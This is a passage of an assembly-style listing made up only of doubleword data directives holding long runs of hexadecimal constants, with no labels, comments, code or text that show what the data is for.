		dd 9AF13088h, 0A4F6A179h, 8123513Eh, 6A40629Eh,	5C8080Bh
		dd 4362431h, 52B1110h, 956ACAD3h, 28208886h, 828C6438h
		dd 0F08C05B3h, 2F2D6800h, 81440h, 1B23D978h, 0A46D7554h
		dd 63A380C3h, 1A9A62Ah,	490F232h, 406E7BE6h, 861841F8h
		dd 4342F898h, 2CC2DE09h, 8119A880h, 20C8AD93h, 0D61E82B3h
		dd 140A29D2h, 35B08C84h, 8BA78060h, 51720C0Ah, 6491849Ch
		dd 56DE4606h, 0FC244062h, 0A411FCF8h, 0A354BC80h, 458CC11Eh
		dd 0ECB4F9AFh, 7201822Bh, 94066E44h, 18238EBEh,	6F01BF23h
		dd 65D1AF44h, 7A80C473h, 974E4467h, 0E724657Dh,	20247B4Bh
		dd 0A074AC27h, 0BA048CA6h, 0D11EA154h, 5623AC62h, 3568D9B2h
		dd 3F598E4h, 0C5EFF950h, 1090B51Ch, 0FD52891Eh,	3047E254h
		dd 7704BDF6h, 92C61CF8h, 0DE1AA4D0h, 9D94009Bh,	0C1CE0283h
		dd 0D0F985CAh, 5670AD64h, 0E1A841Dh, 3305C4A8h,	3ABE42D8h
		dd 10298880h, 9D480714h, 21130291h, 0B3C8F2A6h,	0E62A3440h
		dd 0FFC1D58h, 0EB9AC014h, 0D43BBD35h, 4A90EE3Dh, 0E429404Fh
		dd 0D8A0804Ah, 0EC8E5D02h, 91E85324h, 0D6B80C5Dh, 60AC6817h
		dd 0EBEC0CBh, 890373Eh,	887152h, 0B033C04Fh, 0E3209D6h
		dd 401C789Ah, 181DF949h, 8380A111h, 228A9F0Eh, 0B701C898h
		dd 7204EF44h, 0A89E9805h, 1484FF38h, 0C05596BEh, 6E9989DCh
		dd 0C0D64FCh, 1294C059h, 0D2068040h, 41028116h,	609EEEBEh
		dd 0AC1E3470h, 968C14A0h, 79992028h, 0A4B52984h, 0EA28EF20h
		dd 0D01B3CFh, 3E6547FDh, 99E04436h, 484C2E0Dh, 2E372228h
		dd 252822D1h, 1140A82Ah, 446C80B4h, 8C6DD1ACh, 7B6544h
		dd 472E4464h, 34E60E1Eh, 0F436C0C0h, 3AC5B8AEh,	0DD80028Eh
		dd 0A9945D8Ch, 9971786Ah, 6E892808h, 359DBCC9h,	0D55B027Eh
		dd 0B48A7192h, 75E50053h, 0C5B004E0h, 18523A31h, 649C061Ah
		dd 828BE9Fh, 4A26209Ch,	620AD480h, 88E8768Bh, 2C0512CDh
		dd 0B5934CDFh, 97EA3481h, 76596820h, 0A7092620h, 19609148h
		dd 0FA28867Fh, 1A030E08h, 9B915F1Eh, 82F68888h,	9C78CB2Ah
		dd 0CE098802h, 2D621C28h, 0C4ECE6C7h, 839284C0h, 9821A9A0h
		dd 0E5B0052Eh, 14F4D07Eh, 21D08549h, 8877A85Ch,	0A5000C62h
		dd 0ABBF6089h, 0B8D0AD3h, 8FFEF8C4h, 0B8D8F410h, 0E800484Ah
		dd 0FFB02082h, 1C4A0744h, 7C2A917Eh, 0A01C4B1h,	0F319781Fh
		dd 8EE80CB9h, 3957E859h, 98B2CC8Bh, 44442A28h, 5BDB8807h
		dd 0C3CFB304h, 0D0FF8D08h, 33BAC20h, 90D8BDD1h,	7822459Ch
		dd 421C00DBh, 0BA68A2D3h, 9550FA5Eh, 0EC45BEA0h, 40693820h
		dd 4504718Ch, 34106344h, 384C58DAh, 87798734h, 8D18528h
		dd 5CA4E024h, 0A5AD006Bh, 9416C59Eh, 11730048h,	0A36F8651h
		dd 4E3B7039h, 96407444h, 8BAC0816h, 6CFBAFC0h, 22D5460Ah
		dd 0A4C40073h, 0D20152FBh, 0BA49CABBh, 0D4C040B8h, 20A85C94h
		dd 0BE1E10F9h, 0A88B5D2Ah, 0C08E422h, 39A4ADEAh, 70A56901h
		dd 0EA8E1148h, 2F037451h, 0A00B1CA6h, 0A7232h, 0B2651B3Dh
		dd 2B2273E5h, 0B609CF00h, 364C1C59h, 699512D2h,	8850CB3Eh
		dd 6414C068h, 0C09BF86h, 0C8A01A12h, 80E282FCh,	8C179690h
		dd 9C081BB5h, 0D4A3C064h, 9D461EBCh, 8BFC6B22h,	0F104F7E4h
		dd 16FE1E7Bh, 0F0D12CD0h, 0E9DCA6h, 660C4BA5h, 46007D2Eh
		dd 1EA2D42Bh, 0F6EA0E40h, 1A0A1649h, 9F0080DAh,	0E5064514h
		dd 90AE22D3h, 501F25A1h, 0BC9F6C69h, 22620059h,	0E83F03C8h
		dd 8EE60B12h, 8087511Ch, 7426E87Ah, 3921803Ch, 2E0E9C89h
		dd 0AE18C04Dh, 297DD7C3h, 0A476652Eh, 20434205h, 0B51CF408h
		dd 494718D0h, 0DD09BDC0h, 1D9EFA14h, 8B79112Ch,	3084425h
		dd 523673B3h, 59F8272Ch, 925720Fh, 0A00C845Ah, 5102454h
		dd 221B0592h, 926F42h, 0C0D48FD6h, 906B2384h, 94EB1E48h
		dd 221CC44Dh, 2AE8F0BEh, 82719E60h, 17C1733Bh, 0A727E2h
		dd 42145A00h, 1A24319Ah, 3FAC7402h, 0C45CC800h,	0EB12501Ch
		dd 18841C34h, 88B8D94Ah, 81201ACDh, 822D30C3h, 5463D661h
		dd 0EBE32E00h, 0DDCC156Fh, 4ED30A60h, 0BFA893F1h, 0FD9B2001h
		dd 61AFC76Fh, 105872A8h, 0B1074932h, 0A2A3F6FFh, 0B484760Ch
		dd 0FBD16089h, 0C50A256Eh, 0C2008C96h, 4588FBA6h, 86FD49Ah
		dd 0E2965DCh, 69B80F00h, 280BA3Ah, 0CACDA05Bh, 0D860C452h
		dd 6C7B020Eh, 0C00018B0h, 39E70405h, 697A0644h,	44009819h
		dd 29972AD6h, 410235F0h, 0DE89D0BBh, 4A4DE185h,	0A8915DF0h
		dd 0C0C3F590h, 0BB436C58h, 840086FEh, 1C451FB4h, 0B06E79A6h
		dd 0A2F8C41Ch, 0FC061F46h, 0F2C972F1h, 0BD6700C1h, 0FA2A11EFh
		dd 0BE009709h, 1F3AE044h, 1F162D48h, 40A45CF3h,	1EA56C89h
		dd 824C31A6h, 0D72D7244h, 0DEDC109Bh, 7670C037h, 6FB35402h
		dd 871BCA2h, 5EF67B00h,	0B0B97EC2h, 0B873DDh, 0F270ADCDh
		dd 3A79530Fh, 98034B01h, 0CEA224D8h, 0B5893989h, 5FB28083h
		dd 0C616000h, 301653F5h, 6FF20724h, 10A27380h, 0D0B9C5A9h
		dd 0D7DEFC0Bh, 10500C92h, 0F8B6144Ch, 0E900D09Eh, 3D1E0EFDh
		dd 986E2D9Ch, 1D00B6C1h, 9BAC6E24h, 3E570002h, 9E680BDEh
		dd 0B5172B16h, 2804FD41h, 14C295F2h, 12312137h,	27034C2h
		dd 32508E16h, 2CB06414h, 880068EDh, 63E67090h, 3477C40h
		dd 0C22F9F7Ah, 1143E0F3h, 3E63B004h, 0CD10C048h, 226D1DD6h
		dd 9CE280FCh, 23479800h, 44C53F87h, 8D2900DDh, 78AF09DAh
		dd 0DF005367h, 0B44BCE22h, 2CACAA6Ah, 0CB5019h,	2BB6B193h
		dd 490011B3h, 0D2381DC9h, 609D7044h, 4F323EE2h,	20364C6h
		dd 5C4C8C05h, 7FADF8CCh, 0D943006Eh, 0FAC2747h,	6801A0CFh
		dd 0CC8721CBh, 0EAD40217h, 4DA500FDh, 6AFED5D1h, 93FCE61Fh
		dd 3387F603h, 0E31AC773h, 0ADE3802Bh, 5F89024Ch, 0E48EEE78h
		dd 0D3E0A340h, 0C4FC0700h, 3255D8Dh, 2AA726F2h,	82003D53h
		dd 99E21A84h, 0F801B9E6h, 26B2DDD8h, 0CFC014DAh, 18E50091h
		dd 96090B67h, 0F9008798h, 7E3E043Ah, 71311Eh, 541BDE4h
		dd 60BED420h, 4B90287Eh, 0C5D7FC00h, 24FA2608h,	3607029Bh
		dd 2D896981h, 982962C1h, 46F4E7F0h, 7AD377FCh, 0D85D55EEh
		dd 79F680CCh, 64693EA7h, 2D538E00h, 0CF0E37C4h,	0BFCCEC00h
		dd 25A2E978h, 8E3501D7h
		dd 1E5CE13Dh, 0B2F85071h, 0F97684DCh, 5006DD00h, 0D2178719h
		dd 377F53h, 47E97F79h, 73B99E43h, 21D75F00h, 9D405B45h
		dd 90DD00BFh, 0C08CB432h, 9C0E9AB8h, 60532E1Ch,	7AB34C27h
		dd 0D5330E4Ah, 0E4870AFDh, 0E0E94741h, 0DF114606h, 43249300h
		dd 99EC49C5h, 5C23C8Ah,	17C1F100h, 0ACA5978Bh, 4D4AC900h
		dd 1AA2E5B8h, 4F18004Bh, 0FA854183h, 0AF00C448h, 44C603E0h
		dd 678BDB5Bh, 2C6820A4h, 0A70114A8h, 0A541E0B8h, 67F46419h
		dd 4D8707B1h, 0F09CD72Ah, 94A0FCCCh, 0A9626300h, 7D3E03F4h
		dd 0A3D306C1h, 4882872Fh, 49CB3000h, 9B170895h,	0F7633EC7h
		dd 0D3D4FE89h, 6F69C20h, 2600B535h, 62B92E59h, 1579145h
		dd 786BA203h, 0D7864E22h, 0C5EF9900h, 0B92DB6DCh, 436F0121h
		dd 0A6D78A47h, 0E275F4ECh, 7B3B7609h, 0E44C005Dh, 700EADh
		dd 9669873Ch, 0E9F802C2h, 4EF1BB04h, 1480351Eh,	377B9Bh
		dd 0D9DF9ADDh, 3EB81C97h, 5B421A0Fh, 5617A1A2h,	0B8881826h
		dd 9A88A490h, 52154379h, 18AC5DC8h, 90016300h, 0E52702FAh
		dd 9C091EB3h, 381FC0E1h, 0CE3F613Dh, 5F48E301h,	8B4228C1h
		dd 7CC480FEh, 1B61980h,	93A87081h, 20165B15h, 0B400D194h
		dd 22D94B11h, 245CC7B7h, 80444C6Ah, 8B0E64D7h, 230EE750h
		dd 0C04D6699h, 37896B34h, 26740103h, 61DA5260h,	6DE8C40Ah
		dd 7C95400h, 0F9B549D1h, 5575007Fh, 5DBA9ED9h, 6F001F5Ah
		dd 97BBEF2Ah, 0C18B208h, 9D75E26Ch, 26008520h, 1FF0C9CBh
		dd 79246Bh, 34732901h, 4D323CD7h, 0DCA07000h, 0A3FEB51Ch
		dd 2A440015h, 0BD029C27h, 0B360E95Dh, 4098F18Ah, 0BC6839ADh
		dd 84B9D182h, 2848041Ch, 2301FD22h, 17313557h, 5AD4D991h
		dd 0C5FE00ECh, 0D5C8568Dh, 0F81C8748h, 244A04D7h, 34018844h
		dd 182935C3h, 56B2E080h, 0F5C23DDDh, 0E3A41A12h, 0AC6CF040h
		dd 1DB997C7h, 864402A2h, 0E07E8B9Eh, 0DE4E3Dh, 0F2086F26h
		dd 14BF3864h, 0F4ABC343h, 0B5E00500h, 3642ED47h, 715EE60Fh
		dd 31296CDDh, 33BAE8AAh, 1780688Ah, 349477C8h, 0BDF5800h
		dd 7A7EFA9Ah, 0C161035Dh, 6C96952Eh, 1A383Eh, 0DABAD334h
		dd 7D256B3Dh, 5B67DA2h,	0A766E038h, 0E4F84150h,	0C4514AA0h
		dd 6C3E9EAEh, 3BD8030Eh, 0FFF63h, 23449711h, 0CB37ABA7h
		dd 18714D30h, 0B85EBACFh, 588F5913h, 0A1009F38h, 8CFE3945h
		dd 2F0003D8h, 9B81F9C3h, 147EB6FCh, 8C9CDA56h, 24F45F01h
		dd 405B064Fh, 0C13A1BBDh, 2928A061h, 0EC10831Eh, 32076CAEh
		dd 490A1D8Ah, 2015EA30h, 0D0D600A2h, 505CFC77h,	0B23FCEF6h
		dd 16588464h, 0DFC060C8h, 6700DA1h, 1A089E40h, 0EB39FE10h
		dd 750E81AFh, 6AF6EF5Ch, 0B8C5F4h, 0D5237922h, 6D0FCB73h
		dd 40BB3A00h, 8FECADC8h, 0FA8302F7h, 0D4B7345Bh, 1A4660C0h
		dd 6626C303h, 0F7C58FF8h, 0A80B474h, 0B30FB5h, 74E1A7E5h
		dd 8D467A5Dh, 19621D00h, 37267977h, 68050042h, 0FA0ACB1h
		dd 590755Fh, 0C1005DF0h, 51EC2A5Bh, 4810D295h, 1D00215Ah
		dd 2F07DCFDh, 0F2071374h, 0BCCA91A8h, 52044C70h, 134F0E7h
		dd 0D5B03673h, 0E50666AEh, 5DA02BD4h, 15BD0951h, 96843C4Ch
		dd 25938012h, 0FD06DBD8h, 3772F26Dh, 1AFF0E28h,	1899B9Eh
		dd 0A0C00D8Eh, 0AFB370C0h, 5293C707h, 9AB07343h, 39CA5Eh
		dd 84051180h, 968F0A16h, 0B900FC71h, 33D0FB9Eh,	0B24DAEC1h
		dd 0FD300790h, 40F3B2AAh, 5A441728h, 68874Ch, 40242B4h
		dd 3B635C97h, 4581FDA6h, 0A421DAC4h, 870B206Fh,	0E31D8501h
		dd 7F102FE5h, 587043E5h, 942A0121h, 0DC5D374h, 0CAA43465h
		dd 0CE496300h, 9E7C265Ch, 0C26415E1h, 6C20100Eh, 0CEF59440h
		dd 0E8839008h, 0B1124407h, 90464B31h, 742964CEh, 237F002Ch
		dd 826D18E1h, 4E00B05Ah, 0CDDF8590h, 0B2B731Eh,	817483FEh
		dd 460C27DEh, 3F755149h, 573B39F5h, 240EE287h, 0DB0620CAh
		dd 0D1032BB8h, 816508CFh, 8358B814h, 9CD12E5h, 0FBAC4206h
		dd 488C4805h, 0F20015D9h, 5147E724h, 195DBCh, 8C8083DCh
		dd 427E26EDh, 8187853Fh, 4CD61B3Fh, 41DE4A71h, 6BDCC6F8h
		dd 5801009Ch, 6C114D37h, 600E55ABh, 68C1B2Ch, 7845AAh
		dd 0F2F366DAh, 5E480F74h, 0D14C8730h, 1F3DC827h, 0A714311h
		dd 900C1686h, 622AC849h, 3E111FB5h, 7842190Ch, 0CF083222h
		dd 724EA09h, 48C40D48h,	6FECE005h, 4AE2E440h, 0C8C9D44h
		dd 48CC9A81h, 0A272F218h, 6035C904h, 0E4D08D86h, 0A0510AC5h
		dd 74CE81Ch, 7D81074Ah,	34CB8340h, 17C0D7C3h, 70C821C8h
		dd 1DA28F54h, 0F5FC205h, 0CF041E08h, 0BCA4157h,	0E4E08A06h
		dd 98DC945Eh, 0A9D1C94Eh, 30CC2C20h, 7D2107F7h,	0B006DE4h
		dd 0DDD91001h, 7F70762Ah, 0E09DE265h, 1A29C179h, 20730B7Ah
		dd 4B19282Ah, 120884FBh, 72382181h, 0CC7D1F0Bh,	0DA00106Ch
		dd 0DB361697h, 54D1D9CDh, 0EAB5AC04h, 67C6010Fh, 3A654E31h
		dd 708C467Bh, 81019846h, 6C836E0Bh, 88170C2Bh, 0B0379C7h
		dd 0A9972A32h, 360A655h, 50498706h, 290E0446h, 55CE4B7Ah
		dd 725812B8h, 0CC15A00Fh, 0E7D8045h, 5468596h, 0D7489541h
		dd 0B822E8h, 7EB96C27h,	19267CF5h, 8A4C444h, 88218042h
		dd 9447B974h, 0B785003Bh, 0DB8E24D6h, 7A620DC1h, 824881F1h
		dd 214AF044h, 0F06ADB6Fh, 9637974Eh, 5C5EB05Eh,	503576C0h
		dd 6DDB8Ch, 64776AD8h, 9C1B15C6h, 0AEC50E0Fh, 0C928C023h
		dd 3E420Ch, 0E7AAB825h,	24137AD9h, 3330D209h, 31F680FDh
		dd 1F6110EDh, 4CB6F5h, 97CF9EBFh, 330EFBABh, 40491B89h
		dd 0D611C481h, 0DEE500C1h, 0F3214584h, 1975A0FCh, 89E758h
		dd 3606FAA9h, 113AE35h,	0B594B0D9h, 0F899A71Dh,	0BD1E148Ah
		dd 0F954E9C8h, 66880098h, 0D8FC3CBBh, 0CC6F3A68h, 0A09A5B00h
		dd 1E1F7087h, 9EC8AC03h, 8076C11Ch, 0DFCEC544h,	4D060040h
		dd 0FFC2B4CBh, 912D0806h, 3A3176C6h, 2006D5Ah, 1A9087DCh
		dd 79C1AF58h, 23261B9Bh, 18989DECh, 28BEB15Ah, 9100EE6Bh
		dd 45481D83h, 0FFE01DAh, 0EC297049h, 4DA2F540h,	0F1584255h
		dd 18D83EB7h, 0BD190E68h, 45720398h, 35CE9E10h,	702938D9h
		dd 0A21DF4E3h, 0C4141C33h, 0F865005Ch, 0C9A98FE6h, 848500E3h
		dd 0CEA3D8B8h, 0A260F6F1h, 53F22DA9h, 95A51F60h, 0AA40080h
		dd 3F42E644h, 0ED9D2600h, 0B6C2A797h, 941E5455h, 6A200C1h
		dd 0B50790EFh, 2DEEED61h, 84F46000h, 5B1AC6CBh,	60C36380h
		dd 9100D1C5h, 6FE6239Bh, 60F6F840h, 631A2187h, 0FB0FF752h
		dd 0A00C65DCh, 0F8967BEAh, 38D51C0Dh, 4F2F40A7h, 4CE73425h
		dd 2CB8C0C6h, 8D2A0B68h, 0E0000846h, 1C5045B5h,	71013E77h
		dd 0C50657F5h, 0CECCF6Ch, 0F8E9006Ah, 61E7ED42h, 7E673C0h
		dd 0D69DB3Eh, 2056DE30h, 30C5F2E0h, 433135E5h, 4B1DD9C8h
		dd 7480EA94h, 0DE1B5108h, 0FB780069h, 0C5C6C72h, 0FC016813h
		dd 275B8783h, 52EC2F10h, 226E3867h, 14577DFAh, 141847B0h
		dd 811885F3h, 69087A12h, 25C10CF9h, 0E911C429h,	627804A5h
		dd 10C062FAh, 0E2C039CCh, 0A3E2FEABh, 0E0924600h, 0BACBC283h
		dd 682300FFh, 9B88F099h, 9E000308h, 36CA801Fh, 2DFC59h
		dd 4ED65D31h, 64B59B13h, 470FD1E4h, 60B9EDEEh, 88986DCBh
		dd 7A131CA5h, 34EB00A9h, 54239F86h, 0C7F02900h,	0A6747F32h
		dd 0D5F907A8h, 90EDE167h, 8183B3BDh, 97531D01h,	9C4C4BF7h
		dd 3FE9A4E8h, 14004359h
		dd 0CEEB3C37h, 0AD070D55h, 506CD66Dh, 88133DA0h, 21A600D2h
		dd 70A0C6AEh, 2B0EC231h, 47E4FF4Ah, 0BAA14E52h,	0B2C882B7h
		dd 81F6006Eh, 9F1C7678h, 0C050B1BDh, 205C9080h,	0AF9A0207h
		dd 0E002CAC3h, 1606C88h, 4F848FADh, 0F8665E51h,	0A2E6889Fh
		dd 2360A00h, 8640ADF3h,	0EC7C0062h, 39DD5B4Fh, 2CF67BAAh
		dd 0C2EA990Ch, 4CC998F4h, 0AF01112Ah, 0B313427Ch, 72D450F0h
		dd 8F75F254h, 56005F78h, 9028BB74h, 0E9FBD00Fh,	20B0A8h
		dd 3A6CA973h, 7ECF963Ch, 0BB7A6D3Fh, 0DA54FB1Eh, 99F6D3F8h
		dd 0CBC8900h, 0F0C9EC14h, 5880CE5Dh, 66F44F3Dh,	0D9BC68A0h
		dd 9F00A3E5h, 0F8F1D70Ah, 0B08E86E9h, 3DB2F020h, 27A8C870h
		dd 5DEA00E9h, 3348C491h, 0B4006D6Ah, 130FA184h,	3831D8A2h
		dd 0CC807F04h, 80BFEDC7h, 390088B0h, 1D56CFA6h,	30146462h
		dd 0F0C87748h, 27587202h, 3F881FCBh, 0D3830701h, 22C86F8Dh
		dd 13D2007Fh, 9CD62AC3h, 0EB018066h, 6217E207h,	9B4093ABh
		dd 923A2D8Ah, 6E1128DCh, 0B070C48h, 9FF1DA4Ah, 255C5926h
		dd 0C5433F01h, 189E5ED3h, 0AB32C037h, 57273AB4h, 0AFDF99C0h
		dd 9E5B88h, 0B2194266h,	59B6804Eh, 25001E7Bh, 990C857Ah
		dd 3FB14770h, 0FB007FF9h, 0EFDF67D1h, 0DB161D39h, 0C90EAFBAh
		dd 0CF0C5784h, 3BC27052h, 0BE8FFB95h, 97CE6801h, 0AB0002F2h
		dd 6100FDBDh, 7F24089h,	14D339ECh, 8AC70F58h, 455DF091h
		dd 0FE008072h, 11EDFCBh, 3C0BF6Ch, 5832D1B4h, 9C008E4Ch
		dd 16F79EEDh, 1E347919h, 40DC0504h, 0ADA758Ah, 8C018B9Fh
		dd 4DFE85D1h, 1DFCE6BAh, 52BEEAFh, 1B5F1C17h, 56840091h
		dd 104E0323h, 0EC0087F0h, 0DB61578Ch, 3E934Ah, 7A05FCBAh
		dd 8B1C9965h, 55470A00h, 9C864D56h, 43F43D54h, 43B8AE26h
		dd 8215DFBDh, 0EC63A4h,	0EC7A1ED4h, 26E32BB6h, 4414ABh
		dd 0A9EE23AAh, 1DF2387Fh, 25D6A800h, 66A2287Dh,	217D01h
		dd 8281464Eh, 0B8E3B430h, 17692F00h, 0ECD7109Ch, 87D2007Ch
		dd 30F684F9h, 0CF00E439h, 9242B5EAh, 0FF2F5Ch, 0C98D15E7h
		dd 0AF0B4CC4h, 6CC30D06h, 97894D3h, 52860247h, 2B40C400h
		dd 881369F6h, 0FB72DFh,	48AFD32Dh, 4D00B514h, 6494D26Bh
		dd 7972Fh, 4CB8FC15h, 0A7E2564Bh, 23A58F01h, 825C0DADh
		dd 5438450h, 619A009Bh,	3DB9CAD3h, 25001275h, 46565E78h
		dd 98A9E5DAh, 697C001Fh, 5058110Dh, 0BF78B26Eh,	0CC8BA824h
		dd 88ADAF00h, 65E7B8h, 17754197h, 3A2FC720h, 0F5ECF000h
		dd 40B3A51Ch, 0BA7A00E1h, 0DA41BC7Bh, 7E002967h, 3E9D1B69h
		dd 2C9C3419h, 9C383D63h, 5844805Bh, 0C5E395E2h,	633F200h
		dd 4F66A401h, 0B392017Fh, 834C91BCh, 8097F8B4h,	0EDD6F801h
		dd 0AC6654F7h, 1EB312D4h, 0FE2E684Bh, 0F13EEE80h, 744A3DE4h
		dd 3F436B03h, 0A82FA0FAh, 7ED97C39h, 939500D0h,	6573889Ah
		dd 113BA2E5h, 976B8356h, 0A88236DFh, 3A4CAF47h,	9930BC20h
		dd 76042A68h, 41366F00h, 9DDC1C29h, 0CDB00BAh, 0A69521E6h
		dd 6490BCA2h, 67510A02h, 60685C82h, 317F14h, 64BDC473h
		dd 419A4693h, 2BAC5200h, 0ACC4B9Eh, 72840016h, 4C439BFCh
		dd 5C2638DEh, 75005D7Ch, 4FAB73ECh, 1A0C006Bh, 0C2128118h
		dd 0F300FB1Eh, 0E0482AE5h, 8B3D89h, 22884199h, 977F16EEh
		dd 0D49B190Eh, 7E988726h, 408063B4h, 48600F75h,	0BF1FB11Ah
		dd 20578010h, 615DD2A5h, 0B8E95500h, 21719528h,	0A479000Eh
		dd 1E1A9602h, 82FCFBA1h, 0DFB5170Eh, 0E88B6071h, 73BB2492h
		dd 0DAF2FAh, 5363BDC1h,	655633B8h, 708ABF00h, 304390CAh
		dd 2F9A24FBh, 8DFD4048h, 0A4E241F3h, 114B3B07h,	0BD60BFEEh
		dd 1CA99CD7h, 0DC460734h, 80B1DF75h, 59CE898Ah,	2F2CAF2Dh
		dd 0C700B171h, 0A8EC84D1h, 0C2B70002h, 60B5DBEFh, 360098C5h
		dd 73416F44h, 3ADA8420h, 7D80FCF6h, 0F80ACD6Ch,	8B004BA7h
		dd 5962EF3h, 1FF1E1D1h,	0C9DB158Eh, 0A020FE6Fh,	0C59DB47Ah
		dd 0CF039700h, 70BC7764h, 0C08D0085h, 496D2F12h, 89844ACh
		dd 0F7E65302h, 4003EF25h, 0BA593C2h, 0C130E0E3h, 7BB7C200h
		dd 7648ED80h, 0E4420180h, 290662A5h, 159C1190h,	3107BC0h
		dd 99FDB257h, 43420010h, 0AE706102h, 0A9005AC1h, 0E95F986h
		dd 6E458Eh, 85ADF67Eh, 0B94FF062h, 4144CC0Bh, 6ED020C1h
		dd 1C0E1B63h, 0C60ABD45h, 290871C6h, 6214F27Bh,	3B7C81EAh
		dd 0E86D2E7Dh, 0CE28EC8Ch, 2C107484h, 1C0BE8F9h, 0FFCA4062h
		dd 2F8CBFDBh, 0CF0975F8h, 849E07h, 0CBBBED75h, 7DFB00A9h
		dd 0A5523599h, 0B900A19Bh, 65EFF1ACh, 1F5DEDh, 901E7C17h
		dd 22C9C659h, 56D3A600h, 0DDA87342h, 0BD7900E5h, 0EDDA2F03h
		dd 0A24C6C5Ch, 1DF10072h, 964FAC72h, 0B8E22680h, 16550019h
		dd 5E059B3Bh, 0E9009DECh, 28309133h, 3AA3B6h, 0DA3EEBD9h
		dd 2513BE2Ah, 0A064E100h, 6B245C06h, 517700D1h,	16C12883h
		dd 0F6004EBCh, 24AD3C2h, 0E0E574h, 0EE45E150h, 28F49B7Bh
		dd 0DEA4B805h, 6680F69Fh, 49E5C097h, 6E02FC29h,	0D4893D69h
		dd 485AC52h, 30120657h,	0E11210C3h, 1C00F4C9h, 0CD0F68E5h
		dd 7FE200F8h, 12C2C4E4h, 0D70A9AD8h, 14995C84h,	88101408h
		dd 0C90E6A0h, 5FFE2E84h, 833B0ED1h, 119CE9C5h, 2C12FC8Ch
		dd 4051B210h, 2284B4C9h, 0D862C7E8h, 60CE73A1h,	0FC6AB050h
		dd 0C5DC0063h, 44182879h, 2700EB5Fh, 69B981B1h,	0F98C7Dh
		dd 33EA9262h, 71035486h, 3C0EBFE2h, 7C8E3Eh, 0A30F4618h
		dd 0F8BB0FBAh, 480064AAh, 4BD98176h, 6028AF00h,	5974F4B3h
		dd 90A20034h, 0CE0BB487h, 4900B74Eh, 6F8B065Ah,	0E2F263h
		dd 5BA35719h, 5FD8CC58h, 0EB7D7F00h, 8FB4538Bh,	0D0E3000Bh
		dd 5BC8CE8h, 0D0F406Eh,	80B67A2Ch, 0D607CE15h, 0C7740026h
		dd 0A38B556Bh, 38C0BF0Dh, 2277E1D0h, 0E7E000BDh, 379E42F7h
		dd 0AF009D5Ah, 0F25E23F4h, 2C71752h, 56B71FC8h,	94500B39h
		dd 0C0D7800h, 2372410Eh, 7665001Bh, 0C5B425D2h,	0D37AEAE6h
		dd 0D845710Fh, 20B6401Eh, 1CCE7819h, 38F246h, 0EB89FC8Ah
		dd 0A701322Fh, 0F0AC9750h, 6D4F5ABh, 0A2252E37h, 0C69A8128h
		dd 0F1D6DADCh, 19D4C073h, 1B6A5D00h, 0B5A348DEh, 5C0505BAh
		dd 0C05835C3h, 0C6A5C0F2h, 0D4D2471Dh, 0FB65D49h, 197063F3h
		dd 0EF7D003h, 362500E1h, 8CBA3C5Bh, 293863F2h, 316DC69h
		dd 0AC7F2C37h, 35F698F3h, 0E0A300A2h, 0BAD6CCA5h, 0C4006AC3h
		dd 5ED84798h, 2400EEDh,	23EE39FEh, 62E1A284h, 25F6C492h
		dd 298B7000h, 528221E9h, 0C630FA3h, 0BF2012A9h,	0ADE4F45Fh
		dd 0BB92B91Eh, 0A4F5F600h, 7838075h, 37A5C1E6h,	4DB3D04Eh
		dd 89002458h, 6EF06965h, 0E82DADh, 33317A5Ch, 2A5408E6h
		dd 0F7FCCB02h, 0C0C32776h, 3E73Bh, 24AD5D06h, 0C51ED11h
		dd 0BBC6AB07h, 4CD0EE2Eh, 91FD18Eh, 0A6F10E40h,	9BF2E400h
		dd 0BC03F8D5h, 0DBD37844h, 0A0158035h, 6BC01C27h, 0AA873AC3h
		dd 8E808B8Ch, 37E67C40h, 0A8078622h, 7344EAD3h,	9084ACF3h
		dd 0FC6388h, 0C85829E4h, 8BE6DC26h, 7812D4F1h, 89691100h
		dd 9D94F6A2h, 508A789Eh, 0A988DBh, 8B37CB1Ah, 0C623C2D9h
		dd 2CAD700h, 12E205F0h,	5CAB72F8h, 0AA007D8Dh, 0E4A89AA5h
		dd 0F74CA3EFh, 1A730511h, 0D000EB47h, 0B27C82E1h, 0D276A8h
		dd 0BEE6F52Bh, 785F8A40h, 7B74C872h, 8F121A07h,	53F0680Dh
		dd 0E11070h, 0DF8243E4h
		dd 24989FDh, 7AB99A30h,	1665A23h, 37073D26h, 20C7AF19h
		dd 880E1854h, 0C44DC551h, 88AA95h, 0BA04009Fh, 73985F82h
		dd 113BACA7h, 0FCC8C8h,	0DE8F71B2h, 4FB76Ch, 79199C29h
		dd 8322015Ch, 0BC0068FCh, 17421F20h, 0EDAB0h, 11F83FE8h
		dd 73F7A8A6h, 8EA06A60h, 9EDE686h, 0EB78B2AAh, 5FAF5A01h
		dd 90DAC83Eh, 99D09A00h, 0D6A9205Ah, 60B71CF5h,	33CB80BDh
		dd 0ADFEE1DDh, 8C7E1700h, 267BE47Ah, 23A0CFE8h,	831CCFC0h
		dd 81CC3A0h, 0FD83D05Bh, 0C81899B9h, 0EA777Ah, 5D2E3F1Ah
		dd 70E48445h, 50001098h, 0E30AF346h, 0FCE30A3h,	1F710E3Ch
		dd 0D6D73B60h, 0E6008B0Fh, 0E3F448A7h, 35AAB97h, 5DEF0E2Fh
		dd 7B0263Bh, 94006613h,	0AFC5C725h, 0B8CAE7h, 0CDE120BBh
		dd 0D9C85446h, 0D376042Eh, 31C0C91Dh, 0AD6598C0h, 9AEE00DEh
		dd 0A33D9746h, 7B02BCF2h, 78575344h, 0E3C48F9h,	3FC00155h
		dd 601E6629h, 0F828E8D4h, 56F9FB00h, 0C701A38Fh, 0A5EE1D10h
		dd 2452C931h, 1901C48Eh, 404766CEh, 170B8EAEh, 0EB9FAC00h
		dd 696A3CBDh, 11C09824h, 3125DD1h, 706B5EECh, 0C1303BDCh
		dd 0D7C0928Eh, 7E3F8961h, 0F12874C2h, 0E3687Fh,	90BF6052h
		dd 0C014010Ch, 627818D0h, 3C1CC0F4h, 1A71FC01h,	73289570h
		dd 7145B8C4h, 9AE3FC51h, 0B33F0084h, 850FB06Bh,	0D91DCDECh
		dd 0AF8FD5A4h, 0A6A86004h, 58EFF6h, 71E28CB7h, 5BC2F901h
		dd 5D8DC803h, 0D85C48C9h, 0A1BCBEh, 23D173E8h, 700D22AAh
		dd 4D469001h, 8051F7BFh, 8EF3F0h, 327EE8C3h, 59840FFFh
		dd 184FFCEBh, 31E95000h, 64D08C40h, 0B02200BEh,	55DC7726h
		dd 4F60F00Bh, 0A31C6520h, 0F62D0057h, 61A55319h, 7F002FA4h
		dd 0BBC25FE2h, 1ECBD9AAh, 0FADE307Dh, 0F58000C9h, 0AD52F46Bh
